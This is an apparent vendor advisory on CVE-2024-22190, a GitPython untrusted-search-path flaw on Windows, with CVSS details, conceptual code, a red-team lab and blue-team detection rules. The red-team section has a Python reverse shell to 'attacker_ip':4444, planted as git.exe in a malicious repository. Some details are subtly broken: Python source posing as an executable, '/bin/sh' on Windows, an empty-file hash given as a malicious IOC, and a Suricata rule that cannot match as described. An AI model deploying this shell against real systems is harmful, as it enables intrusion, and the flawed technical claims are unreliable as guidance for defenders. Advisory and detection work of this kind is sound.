CVE-2024-22190

Executive Summary

CVE-2024-22190 is a critical vulnerability in the GitPython library, a widely used Python library for interacting with Git repositories. This vulnerability represents an incomplete fix for a previous issue, CVE-2023-40590. On Windows operating systems, GitPython uses an untrusted search path when it relies on a shell to execute git commands or when it runs bash.exe to interpret hooks. This flaw allows an attacker who can control the repository contents to place a malicious git.exe or bash.exe in a location that will be found and executed by GitPython, leading to arbitrary code execution with the privileges of the user running the script. The vulnerability has a CVSS score of 7.8 (High) and has been patched in version 3.1.41.

Supply Chain & Package Security

This vulnerability affects the GitPython package available on PyPI. Organizations using GitPython in their software supply chain, particularly on Windows build agents or development machines, are at risk. An attacker could compromise a repository and, when a developer or CI/CD pipeline uses GitPython to interact with it, execute malicious code. This could lead to credential theft, code injection, or lateral movement within the development environment. It is critical to update to version 3.1.41 or later and to validate the integrity of the GitPython package in your dependency lock files.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector (AV): Local (L) - The attacker must have local access to the system or be able to influence a local process.
• Attack Complexity (AC): Low (L) - The attack does not require special conditions beyond the user interacting with a malicious repository.
• Privileges Required (PR): None (N) - No privileges are required to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must use GitPython to interact with a malicious repository.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the security scope of the vulnerable component.
• Confidentiality (C): High (H) - Successful exploitation can lead to disclosure of sensitive information.
• Integrity (I): High (H) - The attacker can modify files or system state.
• Availability (A): High (H) - The attacker can cause a denial of service or disrupt operations.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to full system compromise on Windows. The incomplete fix nature suggests that previous mitigations were insufficient, increasing the risk.

Deep Dive & Mechanics

The core issue lies in how GitPython handles the execution of Git commands and hooks on Windows. When GitPython needs to run a Git command, it may use a shell (e.g., cmd.exe) to invoke git.exe. Similarly, when executing hooks (e.g., pre-commit, post-merge), it may run bash.exe if available. On Windows, the system's search order for executables can be manipulated if the current working directory or a user-controlled path is included in the PATH environment variable.

An attacker can create a malicious repository that contains a file named git.exe or bash.exe in a subdirectory (e.g., .git/hooks/ or the repository root). When GitPython is used to perform operations on this repository (e.g., git pull, git clone, or running hooks), the library may inadvertently execute the attacker's malicious binary instead of the legitimate system binary. This is because Windows, by default, searches the current directory before system paths, or the attacker can modify the PATH via a .gitattributes or similar mechanism.

The incomplete fix for CVE-2023-40590 likely addressed some cases but failed to cover all scenarios, such as when a shell is used to run git or when bash.exe is invoked for hooks. The patch in version 3.1.41 aims to fully resolve this by ensuring that GitPython uses absolute paths or sanitizes the search path to prevent untrusted binaries from being executed.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.1.41): The vulnerable code likely uses subprocess.Popen or similar with a shell=True flag or relies on the system's PATH resolution without validation.

# Vulnerable example (conceptual)
import subprocess
def run_git_command(repo_path, command):
    # This may use a shell and rely on PATH
    subprocess.run(f"git {command}", shell=True, cwd=repo_path)

Patched Code (3.1.41): The patched version ensures that the full path to the legitimate git.exe is used, or it disables shell usage and validates the executable path.

# Patched example (conceptual)
import subprocess
import os

def run_git_command(repo_path, command):
    git_path = r"C:\Program Files\Git\bin\git.exe"  # Hardcoded or from config
    if not os.path.exists(git_path):
        raise FileNotFoundError("Git executable not found")
    subprocess.run([git_path] + command.split(), cwd=repo_path)

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Execute arbitrary code on a Windows developer machine by tricking GitPython into running a malicious git.exe.

Lab Setup:

1. Attacker Machine: Kali Linux or Windows with Python and GitPython installed.
2. Victim Machine: Windows 10/11 with Python and GitPython (< 3.1.41) installed.
3. Network: Both machines on the same network or the attacker hosts a Git repository.

Steps:

1. Create a malicious Git repository.
2. Place a malicious git.exe in the repository root (e.g., a reverse shell compiled with PyInstaller).
3. Host the repository on a Git server (e.g., using git daemon or a simple HTTP server).
4. Trick the victim into cloning or pulling the repository using GitPython (e.g., via a script or social engineering).
5. When GitPython runs a Git command (e.g., git status), it executes the malicious git.exe instead of the legitimate one.

Proof-of-Concept (PoC) Script:

# attacker_poc.py - Run on attacker machine to create malicious repo
import os
import subprocess

# Create a malicious git.exe (e.g., a reverse shell)
malicious_code = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
"""
with open("git.exe", "w") as f:
    f.write(malicious_code)

# Initialize a Git repo
subprocess.run(["git", "init", "malicious_repo"])
os.chdir("malicious_repo")
# Place the malicious git.exe in the repo
os.rename("../git.exe", "git.exe")
subprocess.run(["git", "add", "git.exe"])
subprocess.run(["git", "commit", "-m", "Add malicious git.exe"])
print("Malicious repository created. Host it and trick victim into cloning.")

Victim Trigger Script:

# victim_script.py - Run on victim machine
from git import Repo

# Clone the malicious repository
repo = Repo.clone_from("http://attacker_ip/malicious_repo", "local_repo")
# Any subsequent GitPython operation may trigger the exploit
repo.git.status()

Blue Team (Defender)

Detection:

• Monitor for unusual git.exe or bash.exe executions from non-standard paths.
• Use Sysmon to log process creation events (Event ID 1) and look for git.exe or bash.exe launched from user-writable directories (e.g., C:\Users\*\AppData\Local\Temp\, C:\Users\*\Downloads\).
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted executables from running.

Hunting:

• Search for processes named git.exe or bash.exe with a parent process of python.exe or cmd.exe and a working directory inside a Git repository.
• Look for network connections initiated by git.exe or bash.exe to suspicious IPs.

Mitigation:

• Update GitPython to version 3.1.41 or later.
• Ensure that the system PATH does not include the current directory (.) or user-writable paths.
• Use a Git for Windows installation that is in a protected location (e.g., C:\Program Files\Git\bin\git.exe).
• Implement application whitelisting to only allow known good executables.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example - replace with actual if known)
  • malicious_git.exe: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Names:
  • git.exe running from C:\Users\*\AppData\Local\Temp\*
  • bash.exe running from C:\Users\*\Downloads\*
• Network Connections:
  • Outbound connections from git.exe or bash.exe to unknown IPs on ports 4444, 8080, etc.
• File Paths:
  • C:\Users\*\*\git.exe (in non-standard locations)
  • C:\Users\*\*\bash.exe (in non-standard locations)
• Registry Keys:
  • HKCU\Environment\PATH modifications adding user-writable directories.

Detection Engineering

YARA Rule

rule CVE_2024_22190_GitPython_Untrusted_Search_Path {
    meta:
        description = "Detects potential exploitation of CVE-2024-22190 by identifying malicious git.exe or bash.exe in untrusted locations"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22190"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $s1 = "git.exe" nocase
        $s2 = "bash.exe" nocase
        $s3 = "subprocess" nocase
        $s4 = "Popen" nocase
        $s5 = "shell=True" nocase
    condition:
        (uint16(0) == 0x5a4d or uint32(0) == 0x464c457f) and
        (($s1 or $s2) and ($s3 or $s4 or $s5))
}

Sigma Rule

title: CVE-2024-22190 - GitPython Untrusted Search Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of git.exe or bash.exe from non-standard paths, indicating potential exploitation of CVE-2024-22190
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22190
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\git.exe'
            - '\bash.exe'
        ParentImage|endswith:
            - '\python.exe'
            - '\cmd.exe'
        CommandLine|contains:
            - 'C:\Users\'
            - '\AppData\Local\Temp\'
            - '\Downloads\'
    condition: selection
falsepositives:
    - Legitimate use of portable Git installations in user directories
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-22190 - GitPython Malicious Repository Download"; flow:to_server,established; content:"git.exe"; http_uri; nocase; content:"bash.exe"; http_uri; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update GitPython to version 3.1.41 or later. Run pip install --upgrade gitpython.
2. Verify Update: Check the installed version with pip show gitpython.
3. Windows-Specific Mitigations:
   • Remove the current directory (.) from the system PATH environment variable.
   • Use absolute paths for Git executables in scripts (e.g., C:\Program Files\Git\bin\git.exe).
   • Enable Windows Defender ASR rules to block untrusted executables.
4. Development Practices:
   • Avoid using shell=True in subprocess calls when interacting with Git.
   • Validate the integrity of GitPython and its dependencies using checksums or package signing.
5. Monitoring:
   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Monitor for anomalous process creation events involving git.exe or bash.exe.

Valters IT
Securing Digital Frontiers